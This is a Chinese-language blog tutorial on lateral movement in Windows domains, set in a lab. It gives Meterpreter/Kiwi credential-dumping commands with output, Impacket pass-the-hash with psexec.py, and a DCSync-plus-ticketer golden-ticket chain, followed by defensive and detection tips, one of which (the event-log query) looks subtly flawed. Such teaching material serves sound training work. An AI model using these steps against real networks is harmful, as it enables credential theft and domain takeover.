🌀 鱼油のB10g

✦ 不定期更新技术随想

✦ 分享奇妙发现

📌 近期动态:

探索AI和工具使用...

第12章 第114课

横向移动实战指南:从域渗透到权限传递

大家好,今天我们来聊聊内网渗透中最关键的阶段——横向移动。很多同学在CTF比赛或者企业渗透测试中,经常遇到"拿下一台机器但不知道怎么扩大战果"的情况,这篇教程就用最接地气的方式带你理解这个核心技能 ( ̄ω ̄;)


1. 横向移动:内网渗透的"连锁反应"

(1) 什么是横向移动?

想象你成功潜入学校机房的一台电脑(比如通过钓鱼邮件)。横向移动就是:

  • 从这台电脑跳到老师的主机(获取更敏感资料)
  • 再跳到教务处的服务器(拿到数据库权限)
  • 最终控制整个校园网的核心设备

类比大学生活
就像你知道了宿舍Wi-Fi密码后,尝试用相同密码登录图书馆电脑(如果管理员偷懒用了统一密码...)

(2) 两种主要方式

1. **漏洞利用**:比如用MS17-010攻击未打补丁的机器(动静大)
2. **凭证传递**:用密码哈希或Kerberos票据悄悄移动(更隐蔽)

2. 实验环境搭建:模拟企业单域

(1) 基础配置

假设我们有以下环境:

  • 域控(DC):Windows Server 2016 (192.168.1.1)
  • 成员机(Win10):普通办公电脑 (192.168.1.100)
  • 攻击机(Kali):192.168.1.50

关键步骤

# 在域控上创建测试用户
New-ADUser -Name "IT_Admin" -AccountPassword (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "IT_Admin"

常见问题
如果遇到"密码不符合复杂性要求",可以改用P@ssw0rd123!这类符合策略的密码 ( ̄▽ ̄*)ゞ


3. Kiwi实战:获取哈希的"瑞士军刀"

(1) 提升到SYSTEM权限

# 在已获得的Meterpreter会话中
meterpreter > getsystem
[*] Trying technique 1 (Named Pipe Impersonation)...
[+] Successfully gained SYSTEM privileges

(2) 加载Kiwi模块

meterpreter > load kiwi
Loading extension kiwi...
[+] Successfully loaded Kiwi extension

# 获取明文密码(需启用WDigest)
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
Authentication Id: 999
Username: IT_Admin
Domain: CORP
Password: P@ssw0rd123!

现实场景
如果企业没打KB2871997补丁,连域管密码都能抓到明文...(很多老旧系统真的存在这问题)


4. 哈希传递(PTH):内网的"万能钥匙"

(1) 基本原理

当域内多台机器使用相同管理员密码时:
1. 从A机器获取NTLM哈希:a9f2f87bc3...
2. 用该哈希直接登录B机器,无需知道明文密码

(2) 实战操作

# 使用Impacket工具包中的psexec.py
python3 psexec.py CORP/IT_Admin@192.168.1.101 -hashes aad3b435b51404eeaad3b435b51404ee:a9f2f87bc3...

# 如果成功,会直接获得目标机器的SYSTEM权限shell
C:\Windows\system32> whoami
nt authority\system

防御检测
监控事件ID 4624(登录事件)中的"登录类型=3"(网络登录)


5. 票据传递(PTT):更隐蔽的移动方式

(1) 黄金票据攻击

# 首先获取域控的krbtgt哈希
meterpreter > dcsync_ntlm CORP\\krbtgt

# 生成黄金票据
python3 ticketer.py -nthash a9f2f87bc3... -domain-sid S-1-5-21-... -domain CORP.LOCAL admin

# 注入当前会话
export KRB5CCNAME=/tmp/admin.ccache
python3 psexec.py CORP/admin@DC01 -k -no-pass

适用场景
即使域管改了密码,黄金票据依然有效(有效期通常10年...)


6. 防御与检测建议

(1) 企业防护措施

1. **限制本地管理员权限**:不要在所有机器使用相同管理员密码
2. **启用LSA保护**:防止Mimikatz等工具读取内存凭据
3. **监控异常登录**:如非工作时间段的域管理员登录

(2) 检测命令示例

# 查看最近10次域管理员登录
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4624
Data='Domain Admins'
} -MaxEvents 10 | Select-Object TimeCreated,Message

7. 实战思维导图

graph TD A[初始立足点] --> B{是否在域?} B -->|是| C[获取本地哈希] C --> D[尝试PTH攻击] D --> E{是否域管?} E -->|否| F[收集更多凭证] E -->|是| G[拿下域控] B -->|否| H[本地提权]

最后提醒

  • 在授权范围内测试
  • 哈希传递前先做好拓扑分析
  • 企业内网比CTF复杂得多,要有耐心 (╯°□°)╯︵ ┻━┻

下次我们聊聊如何绕过现代EDR检测,有兴趣的同学可以留言讨论~

posted on 2025-08-08 12:00  鱼油YOU  阅读(45)  评论(0)    收藏  举报